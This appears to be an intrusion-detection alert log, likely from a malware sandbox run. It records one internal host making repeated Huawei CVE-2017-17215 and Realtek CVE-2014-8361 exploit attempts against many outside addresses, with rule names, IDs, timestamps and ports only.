ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.120.224

Timestamp:	07/20/24-23:01:17.730454
SID:	2835222
Source Port:	53226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.108.193.243

Timestamp:	07/20/24-23:01:04.908544
SID:	2835222
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 161.241.29.146

Timestamp:	07/20/24-23:01:27.352538
SID:	2027339
Source Port:	49722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 86.176.163.132

Timestamp:	07/20/24-23:01:27.354360
SID:	2831300
Source Port:	58604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.133.210.227

Timestamp:	07/20/24-23:01:22.744419
SID:	2829579
Source Port:	34702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.8.73.49

Timestamp:	07/20/24-23:00:59.020086
SID:	2829579
Source Port:	38898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 147.164.232.161

Timestamp:	07/20/24-23:01:14.513708
SID:	2831300
Source Port:	59664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.83.252.74

Timestamp:	07/20/24-23:01:27.237698
SID:	2829579
Source Port:	51644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 119.44.232.241

Timestamp:	07/20/24-23:01:14.502469
SID:	2831300
Source Port:	39490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.110.255

Timestamp:	07/20/24-23:01:02.613456
SID:	2829579
Source Port:	37842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.55.6.110

Timestamp:	07/20/24-23:01:14.504881
SID:	2027339
Source Port:	54226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.19.190

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	60152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.113.9.186

Timestamp:	07/20/24-23:01:14.502058
SID:	2831300
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.26.122.109

Timestamp:	07/20/24-23:01:07.276989
SID:	2027339
Source Port:	35090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.88.134.99

Timestamp:	07/20/24-23:00:59.022603
SID:	2829579
Source Port:	34624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.97.31.189

Timestamp:	07/20/24-23:01:04.960066
SID:	2027339
Source Port:	59402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.75.227.228

Timestamp:	07/20/24-23:01:32.238261
SID:	2835222
Source Port:	39276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.206.220

Timestamp:	07/20/24-23:01:02.685657
SID:	2835222
Source Port:	51442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.247.117

Timestamp:	07/20/24-23:01:06.801543
SID:	2835222
Source Port:	48278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.130.98.196

Timestamp:	07/20/24-23:01:06.283652
SID:	2027339
Source Port:	57534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.145.132.17

Timestamp:	07/20/24-23:01:14.530241
SID:	2027339
Source Port:	32888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 180.115.139.253

Timestamp:	07/20/24-23:01:14.547545
SID:	2831300
Source Port:	59698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.152.248.171

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	43218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.111.230

Timestamp:	07/20/24-23:01:25.390311
SID:	2829579
Source Port:	46446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.120.250

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	56234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.219.250.80

Timestamp:	07/20/24-23:01:32.213464
SID:	2829579
Source Port:	58488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.62.143.218

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	37746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.227.182.51

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	47812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.54.0.43

Timestamp:	07/20/24-23:01:25.389455
SID:	2835222
Source Port:	55784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.17.139.79

Timestamp:	07/20/24-23:01:32.244559
SID:	2829579
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.142.161

Timestamp:	07/20/24-23:01:04.864677
SID:	2835222
Source Port:	41484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.223.239

Timestamp:	07/20/24-23:01:04.848080
SID:	2835222
Source Port:	35742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 140.192.14.130

Timestamp:	07/20/24-23:01:19.377087
SID:	2025132
Source Port:	40146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.142.136

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 191.214.228.151

Timestamp:	07/20/24-23:01:14.535851
SID:	2831300
Source Port:	60556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 194.111.111.55

Timestamp:	07/20/24-23:01:27.354427
SID:	2831300
Source Port:	59532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.226.172

Timestamp:	07/20/24-23:01:32.260444
SID:	2835222
Source Port:	45028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.63.66.179

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	51372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.19.173.34

Timestamp:	07/20/24-23:01:15.000888
SID:	2835222
Source Port:	49462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 25.216.97.59

Timestamp:	07/20/24-23:01:27.354427
SID:	2027339
Source Port:	35888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.79.176.119

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	44506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 165.167.242.189

Timestamp:	07/20/24-23:01:21.681221
SID:	2025132
Source Port:	40686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.37.95.226

Timestamp:	07/20/24-23:01:36.781974
SID:	2835222
Source Port:	36944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.188.97

Timestamp:	07/20/24-23:00:59.021580
SID:	2829579
Source Port:	60186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 86.176.163.132

Timestamp:	07/20/24-23:01:27.354360
SID:	2027339
Source Port:	58604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.139.199

Timestamp:	07/20/24-23:01:27.306441
SID:	2829579
Source Port:	46514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.103.24.138

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	38010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.3.128.173

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	46536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.244.217.198

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	51244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 100.2.80.95

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	59458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 75.142.64.164

Timestamp:	07/20/24-23:00:59.022895
SID:	2835222
Source Port:	47914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.35.6.165

Timestamp:	07/20/24-23:01:15.110016
SID:	2829579
Source Port:	33876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 174.36.66.18

Timestamp:	07/20/24-23:01:06.801747
SID:	2829579
Source Port:	49450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.24.191

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	53758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.103.170.98

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	59464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.68.213.107

Timestamp:	07/20/24-23:01:02.601458
SID:	2829579
Source Port:	43958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.113.171

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	39954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.62.245

Timestamp:	07/20/24-23:01:15.076248
SID:	2829579
Source Port:	49320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.230.146

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	56678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.255.94.235

Timestamp:	07/20/24-23:01:17.786876
SID:	2829579
Source Port:	59512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.228.57

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	51348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.74.101.140

Timestamp:	07/20/24-23:01:14.559132
SID:	2831300
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 128.42.37.53

Timestamp:	07/20/24-23:01:27.366829
SID:	2831300
Source Port:	39100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 157.40.9.209

Timestamp:	07/20/24-23:01:14.546238
SID:	2831300
Source Port:	46088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.248.6.28

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.34.106

Timestamp:	07/20/24-23:01:36.785491
SID:	2835222
Source Port:	44562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.5.23

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	56664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.215.137.160

Timestamp:	07/20/24-23:01:22.748660
SID:	2835222
Source Port:	59194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.218.105.217

Timestamp:	07/20/24-23:01:36.804831
SID:	2829579
Source Port:	36562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 59.52.78.111

Timestamp:	07/20/24-23:01:08.391767
SID:	2835222
Source Port:	39274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.125.161

Timestamp:	07/20/24-23:01:27.285139
SID:	2829579
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.146.26

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	55004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.158.192.126

Timestamp:	07/20/24-23:01:12.357339
SID:	2829579
Source Port:	46248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.190.105

Timestamp:	07/20/24-23:01:32.206638
SID:	2829579
Source Port:	55610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.143.47

Timestamp:	07/20/24-23:01:36.785491
SID:	2835222
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.152.48.180

Timestamp:	07/20/24-23:01:13.831634
SID:	2835222
Source Port:	47588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.140.143

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	49814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.235.127

Timestamp:	07/20/24-23:01:06.823879
SID:	2829579
Source Port:	39870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 77.11.226.101

Timestamp:	07/20/24-23:01:19.196006
SID:	2025132
Source Port:	46066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 179.43.198.214

Timestamp:	07/20/24-23:01:04.918465
SID:	2829579
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 85.119.116.161

Timestamp:	07/20/24-23:01:07.469769
SID:	2027339
Source Port:	35408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.121.171

Timestamp:	07/20/24-23:00:59.020188
SID:	2835222
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.77.125.133

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	44354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.210.70

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	59794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.79.201

Timestamp:	07/20/24-23:00:59.022701
SID:	2835222
Source Port:	51088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.167.229

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	37266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.62.99.32

Timestamp:	07/20/24-23:00:59.022082
SID:	2829579
Source Port:	33242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.62.26.229

Timestamp:	07/20/24-23:01:06.798361
SID:	2829579
Source Port:	37500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.38.142.169

Timestamp:	07/20/24-23:01:08.369553
SID:	2829579
Source Port:	54520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.34.190.111

Timestamp:	07/20/24-23:01:08.455371
SID:	2835222
Source Port:	45914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 193.187.192.75

Timestamp:	07/20/24-23:01:07.583103
SID:	2027339
Source Port:	34134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.215.215

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	35366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 72.246.92.233

Timestamp:	07/20/24-23:01:07.212184
SID:	2025132
Source Port:	34122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 187.123.127.227

Timestamp:	07/20/24-23:01:05.864031
SID:	2025132
Source Port:	57966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.205.54

Timestamp:	07/20/24-23:01:25.389455
SID:	2829579
Source Port:	56314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 153.88.175.187

Timestamp:	07/20/24-23:01:14.501229
SID:	2831300
Source Port:	39940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.62.158.14

Timestamp:	07/20/24-23:01:04.907419
SID:	2835222
Source Port:	51860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.181.130

Timestamp:	07/20/24-23:01:08.386561
SID:	2835222
Source Port:	53400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.152.49.106

Timestamp:	07/20/24-23:01:25.450878
SID:	2835222
Source Port:	39154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.7.59

Timestamp:	07/20/24-23:01:27.269293
SID:	2829579
Source Port:	44822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 131.97.187.110

Timestamp:	07/20/24-23:01:36.781604
SID:	2835222
Source Port:	57978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.103.230.20

Timestamp:	07/20/24-23:01:06.801747
SID:	2835222
Source Port:	36336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

